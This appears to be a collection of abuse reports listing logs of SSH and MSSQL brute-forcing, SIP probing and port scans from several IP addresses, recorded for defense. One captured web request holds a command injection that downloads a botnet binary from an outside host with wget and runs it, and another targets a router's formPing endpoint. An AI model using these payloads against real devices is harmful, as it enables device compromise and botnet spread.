Jun  6 01:44:27 server2 sshd\[9156\]: User root from 37.49.226.129 not allowed because not listed in AllowUsers
Jun  6 01:44:50 server2 sshd\[9164\]: User root from 37.49.226.129 not allowed because not listed in AllowUsers
Jun  6 01:45:13 server2 sshd\[9356\]: User root from 37.49.226.129 not allowed because not listed in AllowUsers
Jun  6 01:45:31 server2 sshd\[9363\]: Invalid user admin from 37.49.226.129
Jun  6 01:45:48 server2 sshd\[9379\]: Invalid user admin from 37.49.226.129
Jun  6 01:46:05 server2 sshd\[9406\]: Invalid user ubuntu from 37.49.226.129

Jun  5 18:10:19 OPSO sshd\[6693\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.129  user=root
Jun  5 18:10:22 OPSO sshd\[6693\]: Failed password for root from 37.49.226.129 port 37770 ssh2
Jun  5 18:10:37 OPSO sshd\[6767\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.129  user=root
Jun  5 18:10:39 OPSO sshd\[6767\]: Failed password for root from 37.49.226.129 port 50314 ssh2
Jun  5 18:10:54 OPSO sshd\[6774\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.129  user=root

[MK-Root1] SSH login failed

2020-05-31T21:30:38.589688lavrinenko.info sshd[3722]: Failed password for root from 37.49.226.129 port 33240 ssh2
2020-05-31T21:30:58.798051lavrinenko.info sshd[3733]: Invalid user admin from 37.49.226.129 port 43942
2020-05-31T21:30:58.806760lavrinenko.info sshd[3733]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.129
2020-05-31T21:30:58.798051lavrinenko.info sshd[3733]: Invalid user admin from 37.49.226.129 port 43942
2020-05-31T21:31:00.593186lavrinenko.info sshd[3733]: Failed password for invalid user admin from 37.49.226.129 port 43942 ssh2
...

May 28 15:30:08 debian sshd[3699]: Unable to negotiate with 37.49.226.129 port 55334: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth]
May 28 15:30:30 debian sshd[3710]: Unable to negotiate with 37.49.226.129 port 38820: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth]
...

k+ssh-bruteforce

 TCP (SYN) 37.49.226.129:40137 -> port 22, len 48

Brute-Force,SSH

TCP ports : 465 / 587

TCP ports : 465 / 587

[2020-07-24 06:05:37] NOTICE[1277][C-00002857] chan_sip.c: Call from '' (37.49.226.39:61946) to extension '971441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:05:37] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:05:37.251-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="971441144630017",SessionID="0x7f1754318b48",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/61946",ACLName="no_extension_match"
[2020-07-24 06:06:27] NOTICE[1277][C-00002859] chan_sip.c: Call from '' (37.49.226.39:57469) to extension '9710441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:06:27] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:06:27.162-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="9710441144630017",SessionID="0x7f1754742008",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/3
...

[2020-07-23 02:28:17] NOTICE[1277][C-00002114] chan_sip.c: Call from '' (37.49.226.41:56352) to extension '199441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:28:17] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:28:17.484-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199441274066041",SessionID="0x7f175452b198",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.41/56352",ACLName="no_extension_match"
[2020-07-23 02:29:44] NOTICE[1277][C-00002115] chan_sip.c: Call from '' (37.49.226.41:56115) to extension '199810441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:29:44] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:29:44.136-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199810441274066041",SessionID="0x7f1754694fe8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/U
...

[-]:80 37.49.226.35 - - [16/Jul/2020:13:54:39 +0200] "POST /boaform/admin/formPing?target_addr=;'+payload+'%20/&waninf=1_INTERNET_R_VID_154 HTTP/1.1" 301 631 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.30.2.el6.x86_64"

37.49.226.35 - - [15/Jul/2020:05:16:28 -0500] "GET https://www.ad5gb.com/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.168.230/bins/Meth.mips%20-O%20/var/tmp/Meth.mips;%20chmod%20777%20/var/tmp/Meth.mips;%20/var/tmp/Meth.mips%20africo.exploit;%20rm%20-rf%20/var/tmp/Meth.mips&curpath=/¤tsetting.htm=1 HTTP/1.1" 400 346 400 346 0 0 452 416 605 295 0 DIRECT FIN FIN TCP_MISS

firewall-block, port(s): 5683/udp

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81

[2020-07-04 01:01:24] NOTICE[1197][C-00001132] chan_sip.c: Call from '' (37.49.226.37:49525) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:01:24] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:01:24.282-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d28136c98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.37/49525",ACLName="no_extension_match"
[2020-07-04 01:04:58] NOTICE[1197][C-00001138] chan_sip.c: Call from '' (37.49.226.37:61836) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:04:58] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:04:58.923-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d288c4af8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

 TCP (SYN) 37.49.226.4:58116 -> port 81, len 44

firewall-block, port(s): 81/tcp

 TCP (SYN) 37.49.226.4:43452 -> port 81, len 44

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 23 [T]

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

157.245.40.76 - - [16/Aug/2020:13:50:13 +0100] "POST /wp-login.php HTTP/1.1" 200 2264 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
157.245.40.76 - - [16/Aug/2020:13:50:18 +0100] "POST /wp-login.php HTTP/1.1" 200 2195 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
157.245.40.76 - - [16/Aug/2020:13:50:23 +0100] "POST /xmlrpc.php HTTP/1.1" 403 219 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
...

Aug 16 17:44:34 jane sshd[10288]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=114.199.123.211 
Aug 16 17:44:36 jane sshd[10288]: Failed password for invalid user didi from 114.199.123.211 port 50559 ssh2
...

xmlrpc attack

detected by Fail2Ban

Aug 16 16:59:00 PorscheCustomer sshd[21144]: Failed password for root from 35.247.205.154 port 52668 ssh2
Aug 16 17:04:09 PorscheCustomer sshd[21442]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=35.247.205.154
Aug 16 17:04:11 PorscheCustomer sshd[21442]: Failed password for invalid user cod2server from 35.247.205.154 port 59626 ssh2
...

Aug 16 14:24:45 *hidden* sshd[24704]: Invalid user stack from 210.245.32.158 port 39454 Aug 16 14:24:45 *hidden* sshd[24704]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=210.245.32.158 Aug 16 14:24:47 *hidden* sshd[24704]: Failed password for invalid user stack from 210.245.32.158 port 39454 ssh2 Aug 16 14:29:18 *hidden* sshd[36275]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=210.245.32.158 user=root Aug 16 14:29:20 *hidden* sshd[36275]: Failed password for *hidden* from 210.245.32.158 port 48164 ssh2

Aug 16 14:11:55 h2427292 sshd\[17087\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=159.89.199.182  user=git
Aug 16 14:11:57 h2427292 sshd\[17087\]: Failed password for git from 159.89.199.182 port 55692 ssh2
Aug 16 14:23:18 h2427292 sshd\[17380\]: Invalid user hayes from 159.89.199.182
...

Unauthorized IMAP connection attempt

Aug 16 17:54:53 h2779839 sshd[25036]: Invalid user vc from 175.207.13.22 port 57724
Aug 16 17:54:53 h2779839 sshd[25036]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.207.13.22
Aug 16 17:54:53 h2779839 sshd[25036]: Invalid user vc from 175.207.13.22 port 57724
Aug 16 17:54:55 h2779839 sshd[25036]: Failed password for invalid user vc from 175.207.13.22 port 57724 ssh2
Aug 16 17:57:49 h2779839 sshd[25071]: Invalid user user from 175.207.13.22 port 37802
Aug 16 17:57:49 h2779839 sshd[25071]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.207.13.22
Aug 16 17:57:49 h2779839 sshd[25071]: Invalid user user from 175.207.13.22 port 37802
Aug 16 17:57:52 h2779839 sshd[25071]: Failed password for invalid user user from 175.207.13.22 port 37802 ssh2
Aug 16 18:00:43 h2779839 sshd[25116]: Invalid user rzx from 175.207.13.22 port 46050
...

Aug 16 17:11:00 hell sshd[26278]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=138.197.217.164
Aug 16 17:11:02 hell sshd[26278]: Failed password for invalid user kshitiz from 138.197.217.164 port 55890 ssh2
...

Aug 16 08:10:44 s158375 sshd[15395]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=79.137.79.167

2020-08-16T14:13:02.052804n23.at sshd[3864542]: Invalid user cbs from 128.199.44.102 port 58692
2020-08-16T14:13:03.732418n23.at sshd[3864542]: Failed password for invalid user cbs from 128.199.44.102 port 58692 ssh2
2020-08-16T14:23:20.133703n23.at sshd[3873111]: Invalid user ftpusers from 128.199.44.102 port 41973
...

Aug 16 17:12:05 ns382633 sshd\[16982\]: Invalid user tunnel from 137.74.41.119 port 45152
Aug 16 17:12:05 ns382633 sshd\[16982\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=137.74.41.119
Aug 16 17:12:06 ns382633 sshd\[16982\]: Failed password for invalid user tunnel from 137.74.41.119 port 45152 ssh2
Aug 16 17:22:46 ns382633 sshd\[18863\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=137.74.41.119  user=root
Aug 16 17:22:48 ns382633 sshd\[18863\]: Failed password for root from 137.74.41.119 port 53846 ssh2

Aug 16 17:30:37 abendstille sshd\[14194\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.173  user=root
Aug 16 17:30:40 abendstille sshd\[14194\]: Failed password for root from 218.92.0.173 port 16454 ssh2
Aug 16 17:30:41 abendstille sshd\[14263\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.173  user=root
Aug 16 17:30:42 abendstille sshd\[14263\]: Failed password for root from 218.92.0.173 port 57915 ssh2
Aug 16 17:30:43 abendstille sshd\[14194\]: Failed password for root from 218.92.0.173 port 16454 ssh2
...

DATE:2020-08-16 14:23:30, IP:13.76.194.200, PORT:1433 MSSQL brute force auth on honeypot server (honey-neo-dc)